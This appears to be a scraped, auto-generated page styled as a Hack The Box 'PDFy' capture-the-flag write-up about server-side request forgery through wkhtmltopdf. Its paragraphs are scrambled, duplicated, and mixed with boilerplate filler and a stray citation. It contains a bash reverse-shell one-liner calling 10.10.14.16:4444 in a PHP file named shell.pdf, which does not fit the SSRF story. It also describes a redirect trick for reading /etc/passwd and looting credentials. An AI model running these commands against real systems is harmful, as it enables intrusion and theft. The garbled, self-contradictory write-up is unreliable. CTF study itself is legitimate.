The mission began with a simple web interface. It was a tool designed to take a URL and convert the webpage into a downloadable PDF. On the surface, it seemed helpful—a utility for archiving web content. But to a pentester, every input field is a question. If the server fetches a URL to render it, what else can it be made to fetch? The Discovery of SSRF
Kindly Update According To Your Necessities And Requirements And also Do A upd of Information For Accurate Representation Regards
The PDFy server visits your script. Your script tells the server, "Actually, go look at file:///etc/passwd ." Because the PDF generator follows redirects, it grabs the local system file and renders it into the PDF.
Create a PHP file (e.g., exploit.php ) on an external server or a listening platform controlled by you. The code instructs any visiting client—including the vulnerable wkhtmltopdf binary—to look directly at a local file path:
💡 Pro-Tip: If you ever struggle to find the exact flag location in similar challenges, keep it simple and start by looting files like /etc/passwd or application source code files to find hardcoded environment variables.
The UPnP service running on port 5000 appears to be a potential attack surface. However, there are no obvious vulnerabilities.
The initial scan reveals a web server running on port 80.
: By inspecting the PDF metadata or generating an error (e.g., submitting a local address), you can identify that the backend uses wkhtmltopdf to perform the conversion [26]. 2. Exploitation (SSRF) wkhtmltopdf
$ echo "<?php system('bash -i >& /dev/tcp/10.10.14.16/4444 0>&1'); ?>" > shell.pdf
For a writeup of the challenge on Hack The Box (HTB) , the primary vulnerability lies in an SSRF (Server-Side Request Forgery) found in the PDF generation process. The application uses the wkhtmltopdf tool, which can be manipulated to interact with internal resources. Challenge Overview
Pdfy Htb Writeup Upd [verified]
The mission began with a simple web interface. It was a tool designed to take a URL and convert the webpage into a downloadable PDF. On the surface, it seemed helpful—a utility for archiving web content. But to a pentester, every input field is a question. If the server fetches a URL to render it, what else can it be made to fetch? The Discovery of SSRF
Kindly Update According To Your Necessities And Requirements And also Do A upd of Information For Accurate Representation Regards
The PDFy server visits your script. Your script tells the server, "Actually, go look at file:///etc/passwd ." Because the PDF generator follows redirects, it grabs the local system file and renders it into the PDF. pdfy htb writeup upd
Create a PHP file (e.g., exploit.php ) on an external server or a listening platform controlled by you. The code instructs any visiting client—including the vulnerable wkhtmltopdf binary—to look directly at a local file path:
💡 Pro-Tip: If you ever struggle to find the exact flag location in similar challenges, keep it simple and start by looting files like /etc/passwd or application source code files to find hardcoded environment variables. The mission began with a simple web interface
The UPnP service running on port 5000 appears to be a potential attack surface. However, there are no obvious vulnerabilities.
The initial scan reveals a web server running on port 80. But to a pentester, every input field is a question
: By inspecting the PDF metadata or generating an error (e.g., submitting a local address), you can identify that the backend uses wkhtmltopdf to perform the conversion [26]. 2. Exploitation (SSRF) wkhtmltopdf
$ echo "<?php system('bash -i >& /dev/tcp/10.10.14.16/4444 0>&1'); ?>" > shell.pdf
For a writeup of the challenge on Hack The Box (HTB) , the primary vulnerability lies in an SSRF (Server-Side Request Forgery) found in the PDF generation process. The application uses the wkhtmltopdf tool, which can be manipulated to interact with internal resources. Challenge Overview